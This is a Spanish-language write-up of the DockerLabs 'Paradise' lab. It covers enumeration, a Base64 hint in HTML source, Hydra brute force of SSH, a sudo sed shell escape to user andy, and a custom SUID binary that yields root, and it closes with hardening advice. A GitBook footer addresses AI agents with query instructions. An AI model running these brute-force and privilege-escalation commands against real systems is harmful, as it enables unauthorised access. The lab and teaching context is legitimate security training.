> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/paradise.md).

# Paradise

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH, HTTP y Samba.

La cadena de explotacion empieza con enumeracion web sobre una pagina llamada **Andy's house**. Revisando el codigo fuente de la galeria aparece una cadena en Base64 que revela un directorio oculto. Dentro se encuentra un mensaje para `lucas` indicando que su password es debil, lo que permite lanzar fuerza bruta contra SSH. Una vez dentro como `lucas`, la escalada pasa por abusar de `sudo sed` para saltar al usuario `andy` y termina con un binario SUID personalizado que devuelve una shell como `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -T4 172.17.0.2
```

![Nmap](/files/eV2euKqjGmEXEAv1zwrf)

El escaneo muestra cuatro puertos abiertos:

| Puerto  | Servicio    | Version                  |
| ------- | ----------- | ------------------------ |
| 22/tcp  | SSH         | OpenSSH 6.6.1p1 Ubuntu   |
| 80/tcp  | HTTP        | Apache 2.4.7 Ubuntu      |
| 139/tcp | NetBIOS-SSN | Samba smbd 3.X - 4.X     |
| 445/tcp | NetBIOS-SSN | Samba smbd 4.3.11-Ubuntu |

Nmap tambien identifica el grupo de trabajo Samba como `PARADISE`.

***

## Enumeracion web y SMB

Al acceder al puerto 80 aparece una web sencilla:

```
http://172.17.0.2
```

![Web principal](/files/joTeNvu4GpBSoXsmNjG9)

La pagina tiene dos rutas visibles: una galeria y una pagina de reserva. En paralelo, se enumeran recursos SMB sin credenciales:

```bash
smbclient -L //172.17.0.2 -N
```

![SMB](/files/lWpy9y4l4Ay6cZRoeg1g)

Se identifica el recurso `sambashare`, aunque la via principal termina saliendo por la web.

Al revisar el codigo fuente de `galery.html`, aparece un comentario al final del documento:

```
ZXN0b2VzdW5zZWNyZXRvCg==
```

![Comentario Base64](/files/b4BRuxTSMu0VcDlYZvei)

Se decodifica la cadena:

```bash
echo "ZXN0b2VzdW5zZWNyZXRvCg==" | base64 -d
```

![Base64 decode](/files/qo91jTim0XCPGiwQ0Z1C)

Resultado:

```
estoesunsecreto
```

***

## Directorio oculto

Se realiza fuerza bruta de directorios con Gobuster:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/Ab2R25D0UXg9ji9hizr1)

Aparecen varias rutas:

| Ruta             | Codigo | Comentario                    |
| ---------------- | ------ | ----------------------------- |
| `/index.html`    | 200    | Pagina principal              |
| `/galery.html`   | 200    | Galeria con comentario Base64 |
| `/booking.html`  | 200    | Pagina de reserva             |
| `/img/`          | 301    | Directorio de imagenes        |
| `/server-status` | 403    | Restringido                   |

Con la pista decodificada se accede al directorio oculto y a un mensaje para `lucas`:

```
http://172.17.0.2/estoesunsecreto/mensaje_para_lucas.txt
```

![Mensaje para lucas](/files/OoTHtfCSfLmutAmjtKFa)

El mensaje avisa de que la password de `lucas` es debil y puede encontrarse por fuerza bruta.

***

## Acceso por SSH

Se lanza Hydra contra SSH usando el usuario `lucas`:

```bash
hydra -l lucas -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

![Hydra lucas](/files/6RvoDMCyLaBaE7YSQJQE)

Hydra encuentra credenciales validas:

```
lucas:chocolate
```

Se accede por SSH:

```bash
ssh lucas@172.17.0.2
```

![SSH lucas](/files/VgIZNos8Lym5bDFn6uET)

El acceso funciona correctamente y se obtiene una shell como `lucas`.

***

## Movimiento lateral

Se revisan los permisos de `sudo`:

```bash
sudo -l
```

![sudo lucas](/files/OEMwewke3otuSuS3dMI6)

El usuario `lucas` puede ejecutar `/bin/sed` como cualquier usuario sin password:

```
(andy) NOPASSWD: /bin/sed
```

Se abusa de `sed` para ejecutar una shell como `andy`:

```bash
sudo -u andy sed -n '1e exec /bin/sh 1>&0' /etc/hosts
script -c bash /dev/null
```

![Shell andy](/files/ICgk2eTKrRb3aXhleZAR)

Tras el salto, se obtiene una shell como `andy`.

***

## Escalada de privilegios

Como `andy`, se revisan permisos `sudo` y binarios SUID:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
```

![SUID](/files/S0j7Z81ztOqopQriZNNr)

Entre los binarios SUID aparece uno no habitual:

```
/usr/local/bin/privileged_exec
```

Se ejecuta directamente:

```bash
/usr/local/bin/privileged_exec
```

![Root](/files/52pRAnRVRdvbcL3u67yD)

El binario se ejecuta con EUID efectivo de `root` y entrega una shell privilegiada:

```bash
whoami
```

```
root
```

***

## Conclusion

Paradise es una maquina muy buena para practicar enumeracion progresiva. La explotacion no depende de un exploit publico, sino de conectar pistas: un comentario en el codigo fuente, un directorio oculto, una password debil, una regla `sudo` peligrosa y un binario SUID personalizado.

### Puntos clave

* Nmap detecto SSH, HTTP y Samba.
* La web mostraba una galeria con un comentario Base64.
* La cadena Base64 revelo el directorio `estoesunsecreto`.
* El mensaje oculto apuntaba al usuario `lucas` y a una password debil.
* Hydra encontro la password `chocolate`.
* Se accedio por SSH como `lucas`.
* `lucas` podia ejecutar `sed` como `andy` sin password.
* Se salto a `andy` mediante `sudo -u andy sed`.
* Un binario SUID en `/usr/local/bin/privileged_exec` permitio obtener root.

### Recomendaciones

* No dejar pistas sensibles en comentarios HTML.
* Evitar publicar directorios ocultos con informacion operativa.
* Usar passwords robustas y politicas anti fuerza bruta en SSH.
* Revisar reglas `sudo` que permitan ejecutar binarios capaces de invocar comandos.
* Auditar binarios SUID personalizados y eliminar el bit SUID cuando no sea imprescindible.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/paradise.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
